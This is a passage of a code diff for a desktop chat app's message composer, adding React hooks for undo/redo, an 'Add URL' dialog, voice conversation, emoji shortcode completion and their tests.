+    const command = (item.metadata as { command?: string } | undefined)?.command ?? ''
+
+    const argumentMode = desktopSlashCommandArgumentMode(command)
+    const expandsToArgs = trigger.kind === '/' && !trigger.inline && !serialized.includes(' ') && argumentMode !== null
+
+    const text = starter || serialized.endsWith(' ') ? serialized : `${serialized} `
+    const directive = !starter && serialized.match(/^@([^:]+):(.+)$/)
+    // No pill while expanding — the bare command stays plain text until an arg
+    // is picked, at which point a single pill is emitted for the full command.
+    const slashKind = !expandsToArgs && trigger.kind === '/' ? slashChipKindForItem(item) : null
+    const keepTriggerOpen = starter || (expandsToArgs && argumentMode !== 'text')
+
+    const chip = slashKind
+      ? slashChipElement(serialized, slashKind)
+      : directive
+        ? // Carry the picked row's own label into the chip rather than letting
+          // it re-derive one from the value. Upstream's DirectiveNode does the
+          // same (`__label = item.label`), and it's what makes the list and the
+          // chip agree: you get the string you just read, not a second guess at
+          // it. Falls back to the shared deriver for callers with no label.
+          refChipElement(directive[1], directive[2], (item.metadata as { display?: string })?.display || item.label)
+        : null
+
+    // The trailing space is a convenience for "keep typing after the chip", so
+    // it's wrong when the caret already has whitespace in front of it — a pick
+    // made mid-sentence would leave a double space in the prose.
+    const followedBySpace = /^\s/.test(composerPlainText(editor).slice(caretOffsetInEditor(editor)))
+    const fragment = document.createDocumentFragment()
+
+    chip
+      ? fragment.append(chip, ...(followedBySpace ? [] : [document.createTextNode(' ')]))
+      : fragment.append(document.createTextNode(followedBySpace ? text.trimEnd() : text))
+
+    if (!replaceBeforeCaret(editor, trigger.tokenLength, fragment)) {
+      // The failed in-place attempt never consumed the fragment, so the chip +
+      // trailing space are re-inserted around the caret here. Moving the
+      // element (rather than re-serializing) keeps mid-message slash pills
+      // alive — they have no text hydration, unlike `@` refs and the leading
+      // command.
+      rebuildAround(chip ? fragment : text)
+    }
+
+    finish(keepTriggerOpen)
+  }
+
+  /** Backspace inside an `@` path drops the last segment (`a/b/` → `a/`)
+   *  instead of one character, and once the path is empty it drops the browse
+   *  scope (`@folder:` → `@`) rather than nibbling `:`, `r`, `e`, `d`… back
+   *  through the directive syntax the user never typed. Descending is one Tab
+   *  per level, so climbing back out costs one key per level too. Returns
+   *  false when the caret isn't in a path, so keydown falls through. */
+  const ascendTriggerPath = () => {
+    const editor = editorRef.current
+
+    if (!editor || trigger?.kind !== '@') {
+      return false
+    }
+
+    const scope = trigger.scope ? `${trigger.scope}:` : ''
+
+    if (!trigger.value.includes('/') && !scope) {
+      return false
+    }
+
+    // Trailing slash means we're listing a folder's children: drop that
+    // folder. Otherwise a partial segment is typed — drop just that. With the
+    // value already empty, the only thing left to drop is the scope itself.
+    const trimmed = trigger.value.replace(/\/$/, '')
+    const parent = trimmed.slice(0, trimmed.lastIndexOf('/') + 1)
+    const next = trigger.value ? `${scope}${parent}` : ''
+
+    recordUndoPoint?.()
+
+    const fragment = document.createDocumentFragment()
+
+    fragment.append(document.createTextNode(`@${next}`))
+
+    // In place first: the destructive re-render fallback rebuilds the editor
+    // from text, which is exactly what used to demote a leading command pill
+    // to plaintext on every Backspace inside a path.
+    if (!replaceBeforeCaret(editor, trigger.tokenLength, fragment)) {
+      rebuildAroundCaret(editor, trigger.tokenLength, `@${next}`)
+    }
+
+    draftRef.current = composerPlainText(editor)
+    setComposerText(draftRef.current)
+    window.setTimeout(refreshTrigger, 0)
+
+    return true
+  }
+
+  return {
+    argStageEmpty,
+    ascendTriggerPath,
+    closeTrigger,
+    commitTypedSlashDirective,
+    moveTriggerActive,
+    refreshTrigger,
+    replaceTriggerWithChip,
+    setTriggerActive,
+    slashFreeTextArgStage,
+    trigger,
+    triggerActive,
+    triggerActiveExplicit,
+    triggerItems,
+    triggerKeyConsumedRef,
+    triggerLoading
+  }
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-undo.test.tsx b/ui-desktop/src/app/chat/composer/hooks/use-composer-undo.test.tsx
new file mode 100644
index 000000000..bbffc396e
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-undo.test.tsx
@@ -0,0 +1,193 @@
+import { render } from '@testing-library/react'
+import { createRef, type RefObject } from 'react'
+import { describe, expect, it, vi } from 'vitest'
+
+import { useComposerUndo } from './use-composer-undo'
+
+/** Mount the hook against a real contentEditable, exposing its API. */
+function mountUndo(editorRef: RefObject<HTMLDivElement | null>, onSync: () => string) {
+  const api: { current: ReturnType<typeof useComposerUndo> | null } = { current: null }
+
+  const Harness = () => {
+    // Assigned during render on purpose: the tests drive the API imperatively
+    // right after mount, and this is a harness, not app state.
+    api.current = useComposerUndo({ editorRef, syncDraftFromEditor: onSync })
+
+    return null
+  }
+
+  const view = render(<Harness />)
+
+  return { api, view }
+}
+
+function makeEditor(text: string) {
+  const editor = document.createElement('div')
+  editor.contentEditable = 'true'
+  // jsdom only focuses a contentEditable div when it's explicitly focusable;
+  // the real editor is reachable via the composer's focus bus.
+  editor.tabIndex = 0
+  editor.append(document.createTextNode(text))
+  document.body.append(editor)
+
+  const ref = createRef<HTMLDivElement>() as RefObject<HTMLDivElement | null>
+  ref.current = editor
+
+  return { editor, ref }
+}
+
+const caretAtEnd = (editor: HTMLElement) => {
+  const range = document.createRange()
+  const selection = window.getSelection()!
+  range.selectNodeContents(editor)
+  range.collapse(false)
+  selection.removeAllRanges()
+  selection.addRange(range)
+}
+
+describe('useComposerUndo', () => {
+  it('restores the pre-edit text, which is what a paste destroyed', () => {
+    const { editor, ref } = makeEditor('before')
+    caretAtEnd(editor)
+
+    const { api, view } = mountUndo(ref, () => editor.textContent || '')
+
+    // Bank, then simulate the Range-based paste that Chromium never records.
+    api.current!.recordUndoPoint()
+    editor.append(document.createTextNode(' PASTED'))
+    expect(editor.textContent).toBe('before PASTED')
+
+    api.current!.undo()
+    expect(editor.textContent).toBe('before')
+
+    api.current!.redo()
+    expect(editor.textContent).toBe('before PASTED')
+
+    view.unmount()
+    editor.remove()
+  })
+
+  it('withUndoPoint banks only when the edit actually ran', () => {
+    const { editor, ref } = makeEditor('text')
+    caretAtEnd(editor)
+
+    const { api, view } = mountUndo(ref, () => editor.textContent || '')
+
+    // A guard that declines must not consume an undo slot.
+    expect(api.current!.withUndoPoint(() => false)).toBe(false)
+    expect(api.current!.undo()).toBe(false)
+
+    expect(
+      api.current!.withUndoPoint(() => {
+        editor.append(document.createTextNode('!'))
+
+        return true
+      })
+    ).toBe(true)
+
+    api.current!.undo()
+    expect(editor.textContent).toBe('text')
+
+    view.unmount()
+    editor.remove()
+  })
+
+  it('claims a native historyUndo aimed at the focused editor', () => {
+    const { editor, ref } = makeEditor('kept')
+    editor.focus()
+    caretAtEnd(editor)
+
+    const { api, view } = mountUndo(ref, () => editor.textContent || '')
+
+    api.current!.recordUndoPoint()
+    editor.append(document.createTextNode(' extra'))
+
+    // What Electron's Edit menu `{ role: 'undo' }` produces.
+    const event = new InputEvent('beforeinput', { bubbles: true, cancelable: true, inputType: 'historyUndo' })
+    editor.dispatchEvent(event)
+
+    expect(event.defaultPrevented).toBe(true)
+    expect(editor.textContent).toBe('kept')
+
+    view.unmount()
+    editor.remove()
+  })
+
+  it('ignores a historyUndo while another editor holds focus', () => {
+    const { editor, ref } = makeEditor('mine')
+    const { editor: other } = makeEditor('theirs')
+
+    other.focus()
+
+    const { api, view } = mountUndo(ref, () => editor.textContent || '')
+
+    api.current!.recordUndoPoint()
+    editor.append(document.createTextNode(' changed'))
+
+    const event = new InputEvent('beforeinput', { bubbles: true, cancelable: true, inputType: 'historyUndo' })
+    other.dispatchEvent(event)
+
+    // Not ours to claim — the other surface keeps its native behavior.
+    expect(event.defaultPrevented).toBe(false)
+    expect(editor.textContent).toBe('mine changed')
+
+    view.unmount()
+    editor.remove()
+    other.remove()
+  })
+
+  it('keeps two mounted composers independent', () => {
+    const { editor: main, ref: mainRef } = makeEditor('main')
+    const { editor: edit, ref: editRef } = makeEditor('edit')
+
+    const mainUndo = mountUndo(mainRef, () => main.textContent || '')
+    const editUndo = mountUndo(editRef, () => edit.textContent || '')
+
+    mainUndo.api.current!.recordUndoPoint()
+    main.append(document.createTextNode(' typed'))
+
+    // Undoing in the edit composer must not touch the main composer's text.
+    editUndo.api.current!.undo()
+    expect(main.textContent).toBe('main typed')
+
+    mainUndo.api.current!.undo()
+    expect(main.textContent).toBe('main')
+    expect(edit.textContent).toBe('edit')
+
+    mainUndo.view.unmount()
+    editUndo.view.unmount()
+    main.remove()
+    edit.remove()
+  })
+
+  it('reset drops history so undo cannot cross a draft swap', () => {
+    const { editor, ref } = makeEditor('session A')
+    caretAtEnd(editor)
+
+    const { api, view } = mountUndo(ref, () => editor.textContent || '')
+
+    api.current!.recordUndoPoint()
+    editor.append(document.createTextNode(' edited'))
+    api.current!.resetUndoHistory()
+
+    expect(api.current!.undo()).toBe(false)
+    expect(editor.textContent).toBe('session A edited')
+
+    view.unmount()
+    editor.remove()
+  })
+
+  it('is inert when the editor ref is empty', () => {
+    const ref = createRef<HTMLDivElement>() as RefObject<HTMLDivElement | null>
+    const sync = vi.fn(() => '')
+
+    const { api, view } = mountUndo(ref, sync)
+
+    api.current!.recordUndoPoint()
+
+    expect(api.current!.undo()).toBe(false)
+    expect(sync).not.toHaveBeenCalled()
+
+    view.unmount()
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-undo.ts b/ui-desktop/src/app/chat/composer/hooks/use-composer-undo.ts
new file mode 100644
index 000000000..72f891f6d
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-undo.ts
@@ -0,0 +1,119 @@
+import { type RefObject, useCallback, useEffect, useMemo } from 'react'
+
+import { caretOffsetInEditor, composerPlainText, placeCaretAtOffset, renderComposerContents } from '../rich-editor'
+import { type ComposerSnapshot, createComposerUndoHistory } from '../undo-history'
+
+interface UseComposerUndoArgs {
+  editorRef: RefObject<HTMLDivElement | null>
+  /** Push a restored snapshot back into draftRef + composer state. */
+  syncDraftFromEditor: () => string
+}
+
+/**
+ * Undo/redo for the rich composer.
+ *
+ * The editor mutates its DOM through `Range` to dodge Chromium's O(n²) editing
+ * pipeline (#45812), which also dodges Chromium's undo stack — so a paste was
+ * invisible to ⌘Z and the keystroke undid whatever edit came before it instead.
+ * We own the stack outright rather than half of it: every edit path records the
+ * pre-edit state here, and the editor claims ⌘Z / ⌘⇧Z itself.
+ */
+export function useComposerUndo({ editorRef, syncDraftFromEditor }: UseComposerUndoArgs) {
+  const history = useMemo(() => createComposerUndoHistory(), [])
+
+  const snapshot = useCallback((): ComposerSnapshot => {
+    const editor = editorRef.current
+
+    if (!editor) {
+      return { caret: 0, text: '' }
+    }
+
+    return { caret: caretOffsetInEditor(editor), text: composerPlainText(editor) }
+  }, [editorRef])
+
+  /** Bank the current state before mutating the editor. `coalesce` marks a
+   *  keystroke, so a run of typing collapses into one undo step. */
+  const recordUndoPoint = useCallback(
+    (options?: { coalesce?: boolean }) => {
+      if (editorRef.current) {
+        history.record(snapshot(), options)
+      }
+    },
+    [editorRef, history, snapshot]
+  )
+
+  const applySnapshot = useCallback(
+    (next: ComposerSnapshot | null) => {
+      const editor = editorRef.current
+
+      if (!next || !editor) {
+        return false
+      }
+
+      renderComposerContents(editor, next.text)
+      placeCaretAtOffset(editor, next.caret)
+      syncDraftFromEditor()
+
+      return true
+    },
+    [editorRef, syncDraftFromEditor]
+  )
+
+  /** Run a conditional edit, banking its pre-edit state only if it actually
+   *  ran. The snapshot has to be taken first (the edit destroys the state we'd
+   *  be saving), but recording unconditionally would clear the redo stack on
+   *  every Backspace that falls through to the native path. */
+  const withUndoPoint = useCallback(
+    (edit: () => boolean) => {
+      const before = snapshot()
+      const ran = edit()
+
+      if (ran) {
+        history.record(before)
+      }
+
+      return ran
+    },
+    [history, snapshot]
+  )
+
+  const undo = useCallback(() => applySnapshot(history.undo(snapshot())), [applySnapshot, history, snapshot])
+  const redo = useCallback(() => applySnapshot(history.redo(snapshot())), [applySnapshot, history, snapshot])
+
+  // A session/draft swap makes prior history meaningless — undoing into another
+  // conversation's text is worse than having no history at all.
+  const resetUndoHistory = useCallback(() => history.reset(), [history])
+
+  // Electron's Edit menu ships `{ role: 'undo' }`, whose accelerator the macOS
+  // menu bar consumes before the web contents sees the keystroke (the same
+  // hazard main.ts documents for ⌘W). It fires the native editing command,
+  // which knows nothing about our stack. Claim it at the document level while
+  // the composer holds focus, so the menu item and the keystroke agree.
+  useEffect(() => {
+    const onBeforeInput = (event: Event) => {
+      const inputType = (event as InputEvent).inputType
+
+      if (inputType !== 'historyUndo' && inputType !== 'historyRedo') {
+        return
+      }
+
+      if (document.activeElement !== editorRef.current) {
+        return
+      }
+
+      event.preventDefault()
+
+      if (inputType === 'historyUndo') {
+        undo()
+      } else {
+        redo()
+      }
+    }
+
+    document.addEventListener('beforeinput', onBeforeInput, true)
+
+    return () => document.removeEventListener('beforeinput', onBeforeInput, true)
+  }, [editorRef, redo, undo])
+
+  return { recordUndoPoint, redo, resetUndoHistory, undo, withUndoPoint }
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-url-dialog.test.tsx b/ui-desktop/src/app/chat/composer/hooks/use-composer-url-dialog.test.tsx
new file mode 100644
index 000000000..060dd8651
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-url-dialog.test.tsx
@@ -0,0 +1,48 @@
+import { act, renderHook } from '@testing-library/react'
+import { describe, expect, it, vi } from 'vitest'
+
+import { useComposerUrlDialog } from './use-composer-url-dialog'
+
+vi.mock('@/lib/haptics', () => ({ triggerHaptic: () => {} }))
+
+describe('useComposerUrlDialog', () => {
+  it('drops an @url: directive into the draft when there is no host onAddUrl', () => {
+    const insertText = vi.fn()
+    const { result } = renderHook(() => useComposerUrlDialog({ insertText }))
+
+    act(() => result.current.setUrlValue('  https://example.dev  '))
+    act(() => result.current.submitUrl())
+
+    // The trailing/leading whitespace is trimmed before building the directive.
+    expect(insertText).toHaveBeenCalledWith('@url:https://example.dev')
+  })
+
+  it('prefers the host onAddUrl handler, then clears + closes the dialog', () => {
+    const insertText = vi.fn()
+    const onAddUrl = vi.fn()
+    const { result } = renderHook(() => useComposerUrlDialog({ insertText, onAddUrl }))
+
+    act(() => {
+      result.current.openUrlDialog()
+      result.current.setUrlValue(' https://example.dev ')
+    })
+    act(() => result.current.submitUrl())
+
+    expect(onAddUrl).toHaveBeenCalledWith('https://example.dev')
+    expect(insertText).not.toHaveBeenCalled()
+    expect(result.current.urlValue).toBe('')
+    expect(result.current.urlOpen).toBe(false)
+  })
+
+  it('no-ops on an empty / whitespace-only URL', () => {
+    const insertText = vi.fn()
+    const onAddUrl = vi.fn()
+    const { result } = renderHook(() => useComposerUrlDialog({ insertText, onAddUrl }))
+
+    act(() => result.current.setUrlValue('   '))
+    act(() => result.current.submitUrl())
+
+    expect(insertText).not.toHaveBeenCalled()
+    expect(onAddUrl).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-url-dialog.ts b/ui-desktop/src/app/chat/composer/hooks/use-composer-url-dialog.ts
new file mode 100644
index 000000000..889ed70a0
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-url-dialog.ts
@@ -0,0 +1,50 @@
+import { useEffect, useRef, useState } from 'react'
+
+import { triggerHaptic } from '@/lib/haptics'
+
+interface UseComposerUrlDialogOptions {
+  insertText: (text: string) => void
+  onAddUrl?: (url: string) => void
+}
+
+/**
+ * "Add URL" dialog engine: open/value state, autofocus-on-open, and submit. On
+ * submit it prefers the host's `onAddUrl` (which may fetch/title the link) and
+ * otherwise drops an `@url:` directive into the draft.
+ */
+export function useComposerUrlDialog({ insertText, onAddUrl }: UseComposerUrlDialogOptions) {
+  const urlInputRef = useRef<HTMLInputElement | null>(null)
+  const [urlOpen, setUrlOpen] = useState(false)
+  const [urlValue, setUrlValue] = useState('')
+
+  useEffect(() => {
+    if (urlOpen) {
+      window.requestAnimationFrame(() => urlInputRef.current?.focus({ preventScroll: true }))
+    }
+  }, [urlOpen])
+
+  const openUrlDialog = () => {
+    triggerHaptic('open')
+    setUrlOpen(true)
+  }
+
+  const submitUrl = () => {
+    const url = urlValue.trim()
+
+    if (!url) {
+      return
+    }
+
+    if (onAddUrl) {
+      onAddUrl(url)
+    } else {
+      insertText(`@url:${url}`)
+    }
+
+    triggerHaptic('success')
+    setUrlValue('')
+    setUrlOpen(false)
+  }
+
+  return { openUrlDialog, setUrlOpen, setUrlValue, submitUrl, urlInputRef, urlOpen, urlValue }
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-voice.ts b/ui-desktop/src/app/chat/composer/hooks/use-composer-voice.ts
new file mode 100644
index 000000000..449471dc0
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-voice.ts
@@ -0,0 +1,296 @@
+import { useStore } from '@nanostores/react'
+import { useCallback, useEffect, useRef, useState } from 'react'
+
+import { useI18n } from '@/i18n'
+import { chatMessageText, collectUnspokenTurnSpeech } from '@/lib/chat-messages'
+import { triggerHaptic } from '@/lib/haptics'
+import { clearWakeIndicator, syncWakeIndicatorWithVoice } from '@/lib/wake-indicator'
+import { $voiceConversationStartRequest, takeVoiceConversationStart } from '@/store/composer'
+import { resetBrowseState } from '@/store/composer-input-history'
+import { $gateway } from '@/store/gateway'
+import { notify, notifyError } from '@/store/notifications'
+import { $autoSpeakReplies, $voiceStopPhrase, setAutoSpeakReplies } from '@/store/voice-prefs'
+import { resumeWakeAfterVoice } from '@/store/wake-word'
+
+import type { ComposerTarget } from '../focus'
+import { onComposerVoiceToggleRequest } from '../focus'
+import { useComposerScope } from '../scope'
+import type { ChatBarProps } from '../types'
+
+import { useAutoSpeakReplies } from './use-auto-speak-replies'
+import { useVoiceConversation } from './use-voice-conversation'
+import { useVoiceRecorder } from './use-voice-recorder'
+
+interface UseComposerVoiceArgs {
+  busy: boolean
+  clearDraft: () => void
+  disabled: boolean
+  focusInput: () => void
+  insertText: (text: string) => void
+  maxRecordingSeconds: number
+  /** Interrupt the in-flight agent turn (Stop-button seam) — fired when the
+   *  user speaks over the model while it is still generating. */
+  onInterrupt?: () => Promise<void> | void
+  onSubmit: ChatBarProps['onSubmit']
+  onTranscribeAudio: ChatBarProps['onTranscribeAudio']
+  sessionId: string | null | undefined
+  /** This composer's focus-bus key — voice toggles targeting another
+   *  composer (or the active one, when not us) are ignored. */
+  target: ComposerTarget
+}
+
+/**
+ * The composer's voice engine: push-to-talk dictation (transcript → draft), the
+ * full voice-conversation loop, and auto-speak of replies. Self-contained — it
+ * consumes the draft/submit primitives passed in but nothing depends back on it,
+ * so it lifts cleanly out of ChatBar.
+ */
+export function useComposerVoice({
+  busy,
+  clearDraft,
+  disabled,
+  focusInput,
+  insertText,
+  maxRecordingSeconds,
+  onInterrupt,
+  onSubmit,
+  onTranscribeAudio,
+  sessionId,
+  target
+}: UseComposerVoiceArgs) {
+  const { t } = useI18n()
+  // A tile's composer speaks ITS transcript, not the primary chat's.
+  const { $messages } = useComposerScope()
+  const [voiceConversationActive, setVoiceConversationActive] = useState(false)
+  const lastSpokenIdRef = useRef<string | null>(null)
+  const ownsWakeIndicatorRef = useRef(false)
+  const voiceStartRequest = useStore($voiceConversationStartRequest)
+
+  const { dictate, voiceActivityState, voiceStatus } = useVoiceRecorder({
+    focusInput,
+    maxRecordingSeconds,
+    onTranscript: insertText,
+    onTranscribeAudio
+  })
+
+  /** Auto-speak selector: the latest unspoken reply only — a backlog collapses to the newest. */
+  const pendingResponse = () => {
+    const messages = $messages.get()
+    const last = messages.findLast(m => m.role === 'assistant' && !m.hidden)
+
+    if (!last || last.id === lastSpokenIdRef.current) {
+      return null
+    }
+
+    const text = chatMessageText(last).trim()
+
+    if (!text) {
+      return null
+    }
+
+    return {
+      id: last.id,
+      pending: Boolean(last.pending),
+      text
+    }
+  }
+
+  /**
+   * Voice-conversation selector: every unspoken assistant bubble of the turn,
+   * in order — narration interims AND the final answer, not just whichever
+   * bubble happens to be last. See `collectUnspokenTurnSpeech`.
+   */
+  const pendingTurnResponse = () => collectUnspokenTurnSpeech($messages.get(), lastSpokenIdRef.current)
+
+  const consumePendingResponse = () => {
+    const messages = $messages.get()
+    const last = messages.findLast(m => m.role === 'assistant' && !m.hidden)
+
+    if (last) {
+      lastSpokenIdRef.current = last.id
+    }
+  }
+
+  const submitVoiceTurn = async (text: string) => {
+    if (busy) {
+      return
+    }
+
+    triggerHaptic('submit')
+    resetBrowseState(sessionId)
+    clearDraft()
+    await onSubmit(text)
+  }
+
+  const wakePausedRef = useRef(false)
+  // Resolves once the in-flight wake.pause round-trip completes (mic released by
+  // the wake listener). The conversation awaits this before opening its own mic
+  // so the two never contend for the device — on Windows especially, opening the
+  // capture device while the wake listener still holds it makes getUserMedia
+  // fail and the conversation never starts listening.
+  const wakePauseBarrierRef = useRef<Promise<void> | null>(null)
+
+  const conversation = useVoiceConversation({
+    busy,
+    consumePendingResponse,
+    enabled: voiceConversationActive,
+    onFatalError: () => setVoiceConversationActive(false),
+    // Speaking over the model mid-generation interrupts the in-flight turn —
+    // the same seam as the Stop button — so the interjection becomes the next
+    // turn instead of waiting behind a reply the user already rejected.
+    onInterrupt,
+    // A spoken stop command ("stop", "never mind", "goodbye", …) ends the
+    // hands-free conversation. Flipping the flag is the authoritative off
+    // switch — the enabled=false prop + effect below drive conversation.end()
+    // teardown (mic close, wake re-arm).
+    onStopWord: () => setVoiceConversationActive(false),
+    onSubmit: submitVoiceTurn,
+    onTranscribeAudio,
+    pendingResponse: pendingTurnResponse,
+    // Before the conversation opens the mic, wait for any in-flight wake.pause
+    // to finish releasing the capture device (see wakePauseBarrierRef).
+    beforeMicOpen: () => wakePauseBarrierRef.current ?? undefined
+  })
+
+  // eslint-disable-next-line no-restricted-syntax -- ownership token used only by unmount cleanup
+  useEffect(() => {
+    if (target !== 'main') {
+      return
+    }
+
+    if (syncWakeIndicatorWithVoice(voiceConversationActive, conversation.status)) {
+      ownsWakeIndicatorRef.current = voiceConversationActive
+    }
+  }, [conversation.status, target, voiceConversationActive])
+
+  useEffect(
+    () => () => {
+      if (ownsWakeIndicatorRef.current) {
+        clearWakeIndicator()
+      }
+    },
+    []
+  )
+
+  // The `composer.voice` hotkey (Ctrl+B) toggles the conversation. Starting
+  // with STT unconfigured lets the conversation surface its own "configure
+  // speech-to-text" notice rather than silently no-opping.
+  const toggleVoiceConversation = useCallback(() => {
+    if (disabled) {
+      return
+    }
+
+    if (voiceConversationActive) {
+      setVoiceConversationActive(false)
+      void conversation.end()
+    } else {
+      setVoiceConversationActive(true)
+    }
+  }, [conversation, disabled, voiceConversationActive])
+
+  useEffect(
+    () => onComposerVoiceToggleRequest(toggled => toggled === target && toggleVoiceConversation()),
+    [target, toggleVoiceConversation]
+  )
+
+  useEffect(() => {
+    if (target === 'main' && !disabled && takeVoiceConversationStart(voiceStartRequest) && !voiceConversationActive) {
+      setVoiceConversationActive(true)
+    }
+  }, [disabled, target, voiceConversationActive, voiceStartRequest])
+
+  const resumeWakeIfPaused = useCallback(() => {
+    if (!wakePausedRef.current) {
+      return
+    }
+
+    wakePausedRef.current = false
+    wakePauseBarrierRef.current = null
+    // Reconcile, don't just resume: the wake word is a persistent setting, so
+    // ending a voice chat must re-arm the listener whenever config says
+    // enabled — including when the raw resume loses the mic-release race.
+    void resumeWakeAfterVoice()
+  }, [])
+
+  // The ref is a request token (did WE issue wake.pause?), not an atom mirror —
+  // it guards resumeWakeIfPaused from resuming a detector another surface owns.
+  const pauseWakeForVoice = useCallback(() => {
+    wakePausedRef.current = true
+
+    const barrier = (async () => {
+      try {
+        await $gateway.get()?.request('wake.pause', {})
+      } catch {
+        // No wake listener / older backend — nothing held the mic.
+      }
+    })()
+
+    wakePauseBarrierRef.current = barrier
+
+    return barrier
+  }, [])
+
+  useEffect(() => {
+    if (voiceConversationActive) {
+      pauseWakeForVoice()
+    } else {
+      resumeWakeIfPaused()
+    }
+  }, [pauseWakeForVoice, resumeWakeIfPaused, voiceConversationActive])
+
+  // 'Say "stop" to end the voice chat.' notice when the conversation starts.
+  // Phrase comes from voice.stop_phrases (first entry) so a custom phrase
+  // renders correctly; a null phrase (stop_phrases: []) shows no notice.
+  useEffect(() => {
+    if (!voiceConversationActive) {
+      return
+    }
+
+    const phrase = $voiceStopPhrase.get()
+
+    if (phrase) {
+      notify({
+        id: 'voice-stop-hint',
+        kind: 'info',
+        icon: 'mic',
+        message: t.notifications.voice.sayStopToEnd(phrase)
+      })
+    }
+  }, [t, voiceConversationActive])
+
+  useEffect(() => resumeWakeIfPaused, [resumeWakeIfPaused])
+
+  // Explicit start/end for the on-screen conversation controls (the hotkey uses
+  // the gated toggle above).
+  const startConversation = useCallback(() => setVoiceConversationActive(true), [])
+
+  const endConversation = useCallback(() => {
+    setVoiceConversationActive(false)
+    void conversation.end()
+  }, [conversation])
+
+  const handleToggleAutoSpeak = useCallback(() => {
+    void setAutoSpeakReplies(!$autoSpeakReplies.get()).catch(error =>
+      notifyError(error, t.settings.config.autosaveFailed)
+    )
+  }, [t])
+
+  useAutoSpeakReplies({
+    conversationActive: voiceConversationActive,
+    failureLabel: t.assistant.thread.readAloudFailed,
+    markSpoken: consumePendingResponse,
+    pendingReply: pendingResponse,
+    sessionId
+  })
+
+  return {
+    conversation,
+    dictate,
+    endConversation,
+    handleToggleAutoSpeak,
+    startConversation,
+    voiceActivityState,
+    voiceConversationActive,
+    voiceStatus
+  }
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-emoji-completions.ts b/ui-desktop/src/app/chat/composer/hooks/use-emoji-completions.ts
new file mode 100644
index 000000000..0f281e917
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-emoji-completions.ts
@@ -0,0 +1,122 @@
+import { useCallback } from 'react'
+
+import { type CompletionEntry, type CompletionPayload, useLiveCompletionAdapter } from './use-live-completion-adapter'
+
+/**
+ * `:shortcode:` completions for the composers, Slack-style (`:joy` → 😂).
+ *
+ * Draws from the same bundled emojibase-data the reaction picker uses (served
+ * at ./emojibase by the `clawcodex:emojibase-assets` vite plugin — offline, no
+ * CDN). The index lazy-loads on the first `:` trigger, then every query is
+ * answered from memory, so `isCached` skips the debounce and loading state
+ * after that first load.
+ *
+ * A pick inserts the emoji CHARACTER as plain text — not a chip. Directive
+ * chips exist to carry machine-readable references the backend resolves
+ * (@file:, /skill); a picked emoji is just text, so it rides the formatter's
+ * `rawText` path and lands inline.
+ */
+
+interface EmojiEntry {
+  emoji: string
+  /** Primary shortcode, e.g. "joy". */
+  code: string
+  /** Every shortcode, tag, and label that should match a search. */
+  haystack: string[]
+}
+
+let indexPromise: Promise<EmojiEntry[]> | null = null
+let indexLoaded = false
+
+async function loadIndex(): Promise<EmojiEntry[]> {
+  const [dataRes, codesRes] = await Promise.all([
+    fetch('./emojibase/en/data.json'),
+    fetch('./emojibase/en/shortcodes/emojibase.json')
+  ])
+
+  const data: { emoji: string; hexcode: string; label: string; tags?: string[] }[] = await dataRes.json()
+  const codes: Record<string, string | string[]> = await codesRes.json()
+  const entries: EmojiEntry[] = []
+
+  for (const item of data) {
+    const raw = codes[item.hexcode]
+
+    if (!raw) {
+      continue
+    }
+
+    const shortcodes = Array.isArray(raw) ? raw : [raw]
+
+    entries.push({
+      emoji: item.emoji,
+      code: shortcodes[0],
+      haystack: [...shortcodes, ...(item.tags ?? []), item.label.toLowerCase()]
+    })
+  }
+
+  indexLoaded = true
+
+  return entries
+}
+
+/** Prefix matches on shortcodes rank first, then tag/label substring hits. */
+async function searchEmoji(query: string, limit = 8): Promise<EmojiEntry[]> {
+  const index = await (indexPromise ??= loadIndex())
+  const q = query.toLowerCase()
+  const prefix: EmojiEntry[] = []
+  const loose: EmojiEntry[] = []
+
+  for (const entry of index) {
+    if (entry.code.startsWith(q) || entry.haystack.some(h => h.startsWith(q))) {
+      prefix.push(entry)
+    } else if (entry.haystack.some(h => h.includes(q))) {
+      loose.push(entry)
+    }
+
+    if (prefix.length >= limit) {
+      break
+    }
+  }
+
+  return [...prefix, ...loose].slice(0, limit)
+}
+
+export function useEmojiCompletions() {
+  const fetcher = useCallback(async (query: string): Promise<CompletionPayload> => {
+    const entries = await searchEmoji(query)
+
+    return {
+      query,
+      items: entries.map(entry => ({
+        text: entry.emoji,
+        display: `${entry.emoji}  :${entry.code}:`,
+        meta: ''
+      }))
+    }
+  }, [])
+
+  const toItem = useCallback(
+    (entry: CompletionEntry, index: number) => ({
+      id: `${entry.text}|${index}`,
+      type: 'emoji',
+      label: typeof entry.display === 'string' ? entry.display : entry.text,
+      metadata: {
+        display: typeof entry.display === 'string' ? entry.display : entry.text,
+        // The formatter's serialize() returns rawText verbatim → the emoji
+        // character lands as plain inline text, no chip.
+        rawText: entry.text,
+        meta: '',
+        group: '',
+        action: ''
+      }
+    }),
+    []
+  )
+
+  return useLiveCompletionAdapter({
+    enabled: true,
+    fetcher,
+    isCached: () => indexLoaded,
+    toItem
+  })
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-live-completion-adapter.ts b/ui-desktop/src/app/chat/composer/hooks/use-live-completion-adapter.ts
new file mode 100644
index 000000000..d35c78ea7
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-live-completion-adapter.ts
@@ -0,0 +1,154 @@
+import type { Unstable_TriggerAdapter, Unstable_TriggerItem } from '@assistant-ui/core'
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
+
+export interface CompletionEntry {
+  text: string
+  display?: unknown
+  meta?: unknown
+  /** Optional section label (e.g. "Commands", "Skills"). The popover renders a
+   *  header whenever this changes between consecutive items, so the fetcher must
+   *  emit entries already grouped contiguously. */
+  group?: string
